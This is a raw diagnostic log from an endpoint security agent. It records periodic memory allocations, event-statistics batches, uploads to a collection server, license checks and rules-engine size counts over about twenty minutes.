2026-03-04 10:40:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2220 KB; ModuleMetadata: 604 KB; TcpIpConnectionsManager: 552 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 539 KB; BaseEvent: 437 KB; rules::ProcessConditionsCache: 372 KB; BatchSerializer::EventsQueueTag: 117 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; ProcessInfoCommandLineTag: 24 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 128612 KB;
2026-03-04 10:41:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2629 KB; BaseEvent: 626 KB; ModuleMetadata: 604 KB; TcpIpConnectionsManager: 596 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 542 KB; rules::ProcessConditionsCache: 420 KB; BatchSerializer::EventsQueueTag: 169 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; ProcessInfoCommandLineTag: 24 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 15 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129363 KB;
2026-03-04 10:42:26 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 10:38:37, To:, 2026-03-04 10:42:26, Duration (s):, 229, Events Per Second:, 17.991, Events:, 4129, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3461, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 667, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 461817
2026-03-04 10:42:28 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s380ms.
2026-03-04 10:42:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 1499 KB; ModuleMetadata: 604 KB; TcpIpConnectionsManager: 591 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 541 KB; rules::ProcessConditionsCache: 389 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; BaseEvent: 84 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 127489 KB;
2026-03-04 10:43:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:43:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 10:43:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:43:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:43:35 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 10:43:35 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 10:43:35 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 10:43:35 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 10:43:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 1859 KB; ModuleMetadata: 604 KB; TcpIpConnectionsManager: 575 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 543 KB; rules::ProcessConditionsCache: 374 KB; BaseEvent: 264 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; BatchSerializer::EventsQueueTag: 69 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 128047 KB;
2026-03-04 10:44:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2238 KB; ModuleMetadata: 604 KB; TcpIpConnectionsManager: 562 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 545 KB; BaseEvent: 448 KB; rules::ProcessConditionsCache: 372 KB; BatchSerializer::EventsQueueTag: 118 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 128646 KB;
2026-03-04 10:45:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2602 KB; BaseEvent: 626 KB; ModuleMetadata: 604 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 547 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 545 KB; rules::ProcessConditionsCache: 361 KB; BatchSerializer::EventsQueueTag: 165 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129207 KB;
2026-03-04 10:46:34 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 10:42:26, To:, 2026-03-04 10:46:34, Duration (s):, 248, Events Per Second:, 16.491, Events:, 4091, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3382, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 706, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 453710
2026-03-04 10:46:35 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s358ms.
2026-03-04 10:46:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 1442 KB; ModuleMetadata: 604 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 568 KB; TcpIpConnectionsManager: 553 KB; rules::AncestorEvaluations: 551 KB; rules::ProcessConditionsCache: 336 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; BaseEvent: 64 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 127342 KB;
2026-03-04 10:47:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 1805 KB; ModuleMetadata: 604 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 569 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 535 KB; rules::ProcessConditionsCache: 318 KB; BaseEvent: 245 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; BatchSerializer::EventsQueueTag: 64 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 127897 KB;
2026-03-04 10:48:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:48:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 10:48:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:48:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:48:35 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 10:48:35 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 10:48:35 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 10:48:35 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 10:48:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2095 KB; ModuleMetadata: 606 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 536 KB; TcpIpConnectionsManager: 501 KB; BaseEvent: 388 KB; rules::ProcessConditionsCache: 224 KB; ModuleInfoCache: 113 KB; BatchSerializer::EventsQueueTag: 101 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 128208 KB;
2026-03-04 10:49:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2455 KB; ModuleMetadata: 606 KB; BaseEvent: 567 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 537 KB; TcpIpConnectionsManager: 494 KB; rules::ProcessConditionsCache: 198 KB; BatchSerializer::EventsQueueTag: 148 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 128762 KB;
2026-03-04 10:50:50 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 10:46:33, To:, 2026-03-04 10:50:50, Duration (s):, 257, Events Per Second:, 16.005, Events:, 4116, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3407, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 706, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458828
2026-03-04 10:50:51 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s435ms.
2026-03-04 10:50:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 1277 KB; ModuleMetadata: 606 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 539 KB; rules::ProcessConditionsCache: 306 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 17 KB; BaseEvent: 16 KB; ProcessInfoCommandLineTag: 10 KB; BatchSerializer::EventsQueueTag: 5 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 127058 KB;
2026-03-04 10:51:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 1636 KB; ModuleMetadata: 606 KB; TcpIpConnectionsManager: 576 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 540 KB; rules::ProcessConditionsCache: 225 KB; BaseEvent: 195 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; BatchSerializer::EventsQueueTag: 51 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 127586 KB;
2026-03-04 10:52:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 1997 KB; ModuleMetadata: 606 KB; TcpIpConnectionsManager: 573 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 542 KB; BaseEvent: 374 KB; rules::ProcessConditionsCache: 203 KB; ModuleInfoCache: 113 KB; BatchSerializer::EventsQueueTag: 98 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 128152 KB;
2026-03-04 10:53:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:53:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 10:53:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:53:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:53:36 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 10:53:36 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 10:53:36 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 10:53:36 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 10:53:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2363 KB; ModuleMetadata: 606 KB; TcpIpConnectionsManager: 565 KB; BaseEvent: 554 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 543 KB; rules::ProcessConditionsCache: 191 KB; BatchSerializer::EventsQueueTag: 146 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 128726 KB;
2026-03-04 10:54:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2743 KB; BaseEvent: 732 KB; ModuleMetadata: 606 KB; TcpIpConnectionsManager: 552 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 544 KB; rules::ProcessConditionsCache: 222 KB; BatchSerializer::EventsQueueTag: 194 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 15 KB; ProcessInfoCommandLineTag: 11 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129357 KB;
2026-03-04 10:54:57 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 10:50:49, To:, 2026-03-04 10:54:57, Duration (s):, 248, Events Per Second:, 16.502, Events:, 4106, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3403, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 702, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 460086
2026-03-04 10:54:59 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s399ms.
2026-03-04 10:55:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 1661 KB; ModuleMetadata: 606 KB; TcpIpConnectionsManager: 555 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 544 KB; BaseEvent: 177 KB; rules::ProcessConditionsCache: 169 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; BatchSerializer::EventsQueueTag: 46 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 127515 KB;
2026-03-04 10:56:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 1997 KB; ModuleMetadata: 606 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 567 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 537 KB; BaseEvent: 344 KB; rules::ProcessConditionsCache: 127 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; BatchSerializer::EventsQueueTag: 90 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 128026 KB;
2026-03-04 10:57:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2360 KB; ModuleMetadata: 606 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 566 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 532 KB; BaseEvent: 522 KB; BatchSerializer::EventsQueueTag: 137 KB; rules::ProcessConditionsCache: 114 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 128592 KB;
2026-03-04 10:58:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:58:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 10:58:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:58:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:58:36 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 10:58:36 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 10:58:36 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 10:58:36 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 10:58:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2724 KB; BaseEvent: 704 KB; ModuleMetadata: 606 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 554 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 516 KB; BatchSerializer::EventsQueueTag: 184 KB; ModuleInfoCache: 113 KB; rules::ProcessConditionsCache: 100 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129144 KB;
2026-03-04 10:59:11 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 10:54:57, To:, 2026-03-04 10:59:11, Duration (s):, 254, Events Per Second:, 16.096, Events:, 4098, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3382, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 715, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458272
2026-03-04 10:59:13 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s354ms.
2026-03-04 10:59:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 1540 KB; ModuleMetadata: 606 KB; TcpIpConnectionsManager: 552 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 535 KB; BaseEvent: 146 KB; ModuleInfoCache: 113 KB; rules::ProcessConditionsCache: 105 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; BatchSerializer::EventsQueueTag: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 127277 KB;
2026-03-04 11:00:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 1935 KB; ModuleMetadata: 606 KB; TcpIpConnectionsManager: 580 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 535 KB; BaseEvent: 329 KB; rules::ProcessConditionsCache: 131 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; BatchSerializer::EventsQueueTag: 88 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 127964 KB;
2026-03-04 11:01:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2313 KB; ModuleMetadata: 606 KB; TcpIpConnectionsManager: 601 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 536 KB; BaseEvent: 506 KB; rules::ProcessConditionsCache: 161 KB; BatchSerializer::EventsQueueTag: 136 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 128619 KB;
2026-03-04 11:02:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2673 KB; BaseEvent: 683 KB; ModuleMetadata: 606 KB; TcpIpConnectionsManager: 578 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 540 KB; BatchSerializer::EventsQueueTag: 182 KB; rules::ProcessConditionsCache: 134 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 129156 KB;
2026-03-04 11:03:10 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 10:59:11, To:, 2026-03-04 11:03:10, Duration (s):, 239, Events Per Second:, 17.307, Events:, 4139, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3451, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 687, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 460681
2026-03-04 11:03:11 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s358ms.
2026-03-04 11:03:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:03:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 11:03:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:03:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:03:36 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 11:03:36 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 11:03:36 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 11:03:36 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
